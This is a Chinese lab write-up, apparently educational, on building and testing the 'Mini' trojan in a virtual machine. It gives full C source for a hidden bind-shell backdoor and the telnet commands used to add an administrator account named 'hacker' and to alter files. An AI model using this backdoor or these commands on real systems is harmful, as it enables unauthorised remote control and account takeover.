Mini木马的基本原理
Mini木马作为早期的远程控制类木马,基本工作原理是基于TCP的Socket技术,这也是现有木马技术的集成知识。 这类木马最大的特点是不需要客户端软件,只要有Windows自带的Telnet软件远程连接即可出现命令行窗口,服务端通过监听某个端口提供服务,类似 于Telnet服务的后台程序。其服务端编程的基本通信原理如下:
- 打开一通信通道(绑定某个端口)并告知本地主机,它在某一个地址上接受客户请求。利用Socket和bind函数实现。
- 等待客户请求到达该端口。利用listen函数实现。
- 接收到重复服务请求,处理该请求并发送应答信号。利用accept函数实现。
- 返回第二步,等待另一客户请求。
- 关闭连接。利用closesock函数实现
Mini木马介绍
- 产地:国外
- 发布时间: 1998
- 测试功能:命令行远程控制
- 辅助工具:Telnet或NC工具
- 自启动:五
实验环境
系统环境
在win10的虚拟机上Windows XP SP3系统,其具体数据如下图
开发环境
vc++ 6.0
木马实现
打开vc++6.0,新建文件,选择c++源文件,文件名命名为mini.cpp,创建成功如图所示 程序代码如下:
#pragma comment(lib,"ws2_32.lib")
#include<winsock2.h>
#define MasterPort 99
int main()
{
WSADATA WSADa;
sockaddr_in SockAddrIn;
SOCKET CSocket,SSocket;
int iAddrSize;
PROCESS_INFORMATION ProcessInfo;
STARTUPINFO StartupInfo;
char szCMDPath[255];
ZeroMemory(&ProcessInfo,sizeof(PROCESS_INFORMATION));
ZeroMemory(&StartupInfo,sizeof(STARTUPINFO));
ZeroMemory(&WSADa,sizeof(WSADa));
GetEnvironmentVariable("COMSPEC",szCMDPath,sizeof(szCMDPath));
WSAStartup(0x0202,&WSADa);
SockAddrIn.sin_family = AF_INET;
SockAddrIn.sin_addr.s_addr = INADDR_ANY;
SockAddrIn.sin_port = htons(MasterPort);
CSocket = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);
bind(CSocket,(sockaddr*)&SockAddrIn,sizeof(SockAddrIn));
listen(CSocket,1);
iAddrSize = sizeof(SockAddrIn);
SSocket = accept(CSocket,(sockaddr*)&SockAddrIn,&iAddrSize);
StartupInfo.cb = sizeof(STARTUPINFO);
StartupInfo.wShowWindow = SW_HIDE;
StartupInfo.dwFlags = STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;
StartupInfo.hStdInput = (HANDLE) SSocket;
StartupInfo.hStdOutput = (HANDLE) SSocket;
StartupInfo.hStdError = (HANDLE) SSocket;
CreateProcess(NULL,szCMDPath,NULL,NULL,TRUE,0,NULL,NULL,&StartupInfo,&ProcessInfo);
WaitForSingleObject(ProcessInfo.hProcess,INFINITE);
CloseHandle(ProcessInfo.hProcess);
CloseHandle(ProcessInfo.hThread);
closesocket(CSocket);
closesocket(SSocket);
WSACleanup();
return 0;
}
在项目Debug文件夹内生产可执行文件Mini.exe,如下图,该文件就是我们要使用的木马程序
进行实验
辅助工具telnet的安装
打开控制面板->程序->启动或关闭Windows功能,选中Telnet客户端下载安装 下载完成后cmd打开控制台,输入telnet显示如下则安装成功
虚拟机运行木马
虚拟机的IP地址为192.168.220.128(可以通过cmd输入ipconfig查看)。运行木马程序mini.exe,出现黑窗口,显示如下图
打开虚拟机cmd输入netstat -an命令查看,如下图 可以看见,系统的99号端口处于监听中
本机与虚拟机创建连接
本机的ip地址为192.168.106.1,输入telnet 192.168.220.128 99连接虚拟机的99号端口,如下图所示 运行命令行,已经进入了虚拟机木马所在目录下。
- 我的木马程序在c:\vc\source\Debug文件夹下生成,如下图所示
- 主机已经通过命令行进入虚拟机的该目录,如下图所示
- 输入dir命令查看当前目录下的文件
输入ipconfig显示ip地址为虚拟机的ip地址,如下图所示
主机对虚拟机进行操作
查看当前用户
telnet中输入net user命令,显示如下,目前有4个用户
增加用户
增加一个新用户,名为hacker,密码为12345,输入命令net user hacker 12345 /add,如下图所示 此时再查看用户,已经多出了一个hacker用户
为新建用户设置组
输入net localgroup查看当前组,如下图
输入net localgroup administrators hacker /add将hacker用户添加到administrators组,如下图所示 再次查看administrator组,发现有一个hacker用户,此时hacker用户已经拥有了管理员权限。
对虚拟机数据进行操作
进行之前的操作后,主机已经可以对系统进行控制了,虽然只能再命令行下进行操作,但已经可以实现增删改查的功能了,为了测试,我在虚拟机中的c盘创建一个test文件夹,在里面创建一个1.txt文件和2.txt2文件。如下图 现在我们实现更改文档1的内容,下载2图片并删除2图片,先进入test目录,查看文件
删除照片2,使用del 文件名命令 再次查看文件夹,2.jpg已经被删除
查看1.txt的文件内容,输入type命令
- 对该文件进行修改,输入 echo “要增加的字符串” >> 要修改的文件
- 此时文件已经被修改,在虚拟机打开显示如下
总结
Mini木马体现了木马的基本功能:远程控制。此外,它无需使用客户端软件,服务端仅仅168kb,占用资源较少,便于隐藏。
- 缺点是该木马无法自动启动,需要第三方软件加载到自启动项目或服务中。并且该木马启动防火墙会报警,提示是否连接。
- 防御措施:防火墙阻止连接或关闭该进程,如下图
参考文献
[1] 赵玉明. 木马技术揭秘与防御[M]. 北京:电子工业出版社,2011.9. ISNB 9787121134715
|